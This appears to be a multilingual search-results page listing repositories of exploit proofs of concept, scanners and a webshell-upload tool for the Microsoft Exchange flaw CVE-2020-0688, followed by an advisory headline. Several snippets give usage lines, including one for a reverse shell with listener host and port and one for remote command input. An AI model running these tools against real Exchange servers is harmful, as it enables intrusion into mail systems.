46 matches found
CVE-2020-0688
इस रिपॉजिटरी में README नहीं है।...
ecp_slap
ecpslap هذا الكود هو إثبات مفهوم PoC لثغرة CVE-2020-0688 ويتضمن وظائف لفحص واستغلال مثيل Exchange المحلي on-prem الضعيف. الاستخدام scan - توفير بيانات الاعتماد ومعلومات الهدف للحصول على ملفات تعريف الارتباط المطلوبة للاستغلال وحفظها في ملف 'cookies.txt'. كما يتحقق من تعرّض خدمة لوحة تحكم Exchange...
cve-2020-0688
cve-2020-0688 لقد أنشأت هذا السكربت لإجراء اختبار CVE-2020-0688 بسرعة أكبر. فهو يساعد على تحسين فحص الثغرة، مما يقلل الخطوات اللازمة لذلك بشكل هائل. قم بتعديل هذه المدخلات قبل تشغيل الملف. url = "https://mail.something.com" input 1 command = "cmd /c echo OOOPS!!! c:/truongtn.txt" input2 aspsessio...
CVE-2020-0688
CVE-2020-0688 कार्यशील एक्सप्लॉइट PoC CVE-2020-0688 - रिवर्स बाइंड शेल Python2.7 का उपयोग करके परीक्षण किया गया स्थापित करने के लिए: pip install -r requirements.txt चलाने के लिए: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
CVE-2020-0688
Outils d'exploitation et de détection pour CVE-2020-0688vulnérabilité de désérialisation de la MachineKeySection par défaut de Microsoft Exchange compilation root@kitploit: csc ExchangeCmd.cs csc ExchangeDetect.cs utilisation root@kitploit: ExchangeDetect root@kitploit: ExchangeCmd sous-commandes...
Cyber-Attack-Analysis
دراسة حالة في الأمن السيبراني: اختراق Virgin Mobile KSA عام 2020 📌 ملخص تنفيذي في عام 2020، تعرضت شركة Virgin Mobile KSA لحادث أمني كبير، أدى إلى سرقة بيانات حساسة بما في ذلك اتصالات الموظفين والمعلومات الشخصية لأكثر من 1000 مستخدم. يوفر هذا المستودع تحليلاً شاملاً لمتجه الهجوم، والثغرات الفنية...
cve-2020-0688-webshell-upload-technique
Exchange Remote Code Execution cve-2020-0688 - الفريق الأحمر MODE ON يتطلب: python3+ UNIVERSAL تنفيذ بلغة Python لـ cve-2020-0688، باستخدام ASPX webshell لإخراج أوامر مخصصة هذا مجرد POC لتسهيل عرض الثغرات لأسباب أمنية. أرفض جميع الأعمال غير القانونية، ولست مسؤولاً عن أي أفعال يقوم بها هذا السكربت...
CVE-2020-0688
python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...
CVE-2020-0688-Exchange2010
Основная проблема Exchange 2010 в том, что он основан на .NET 2.0, и общие гаджеты для десериализации не работают. Все заслуги принадлежат zcgonvh и EazyLov3. Проект представляет собой просто комбинацию из: https://github.com/zcgonvh/CVE-2020-0688/ https://www.buaq.net/go-41757.html Как выполнить...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner أداة سريعة بلغة C لفحص CVE-2020-0688 على مضيفين متعددين بطريقة غير تدخلية. الميزات مسح المضيفين من ملف إدخال. فحص سلبي: استخراج إصدار Exchange من خلال فحص محتوى HTML. إنتاج ملف مخرجات. عرض توضيحي كيفية الاستخدام المتطلبات الأساسية ويندوز .NET framework 4.5.2 التحميل...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 के लिए PoC, PowerShell में लिखा गया उपयोग इस PoC के लिए एक मान्य उपयोगकर्ता नाम और पासवर्ड आवश्यक है। यह PoC नए ViewState को बनाने के लिए ysoserial.net का उपयोग करता है, जिसमें आप -Command पैरामीटर पर निर्दिष्ट कमांड शामिल होता है। यदि आपके सिस्...
CVE-2020-0688
CVE-2020-0688 CVE-2020-0688: تنفيذ الأوامر عن بُعد على خادم Microsoft Exchange عبر مفاتيح تشفير ثابتة كيفية التشغيل ysonet.exe: تحميل من هنا تشغيل خادم HTTP: root@kitploit: python3 -m http.server 8000 غيّر targeturl وعنوان IP الخاص بك في أمر pwsh. ثبّت جميع تبعيات Python. نفّذ python3 exploit.py...
CVE-2020-0688
ماسح CVE-2020-0688 هذا نص برمجي صغير وقذر للتحقق من خوادم Exchange المعرضة للخطر عبر CVE-2020-0688 مكتوب بشكل قبيح وبـ PHP. تنبيه: يتحقق فقط مما إذا كان لديك تحديث CU الفعلي مثبتًا. هذا لا يعني أنك قمت بتثبيت التصحيح! المتطلبات تحتاج إلى php-cli و php-curl الاستخدام أولاً، استنسخ المستودع:...
CVE-2020-0688-Scanner
CVE-2020-0688-Scanner يقوم هذا السكريبت بمسح عنوان IP/نطاق/ CIDR ويعرض خوادم Microsoft Exchange والإصدارات التي تم اكتشافها. سيتم مسح عنوان IP/نطاق/ CIDR المحدد باستخدام masscan على المنفذ tcp/443. بعد مسح ناجح، يحاول إجراء HTTP GET "/owa/auth/logon.aspx" باستخدام curl لجلب شفرة مصدر صفحة Outlook...
CVE-2020-0688-Python3
J'ai obtenu ce code depuis Packet Storm. J'ai utilisé diverses méthodes principalement 2to3 et beaucoup d'efforts manuels fastidieux pour le faire fonctionner correctement avec Python3. Profitez-en !...
CVE-2020-0688-GUI
1. プロジェクトの目的と参考 目的は非常に簡単です。最近、Cを使ってC2を書く準備をしており、まずは小さなものを作って練習し、興味を高めようと思いました。そこで、zcgonvh氏のツールをGUI化することにしました。元のツールのリンクは以下の通りです： https://github.com/zcgonvh/CVE-2020-0688 2. 使用法 Releaseからダウンロード： root@kitploit:...
Exploit for Improper Authentication in Microsoft
cve-2020-0688 Usage: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p PASSWORD, --password...
Exploit for Improper Authentication in Microsoft
I. Project Objectives and References The purpose is simple: r...
NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers
An ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S. The National Security Agency NSA, Cybersecurity and...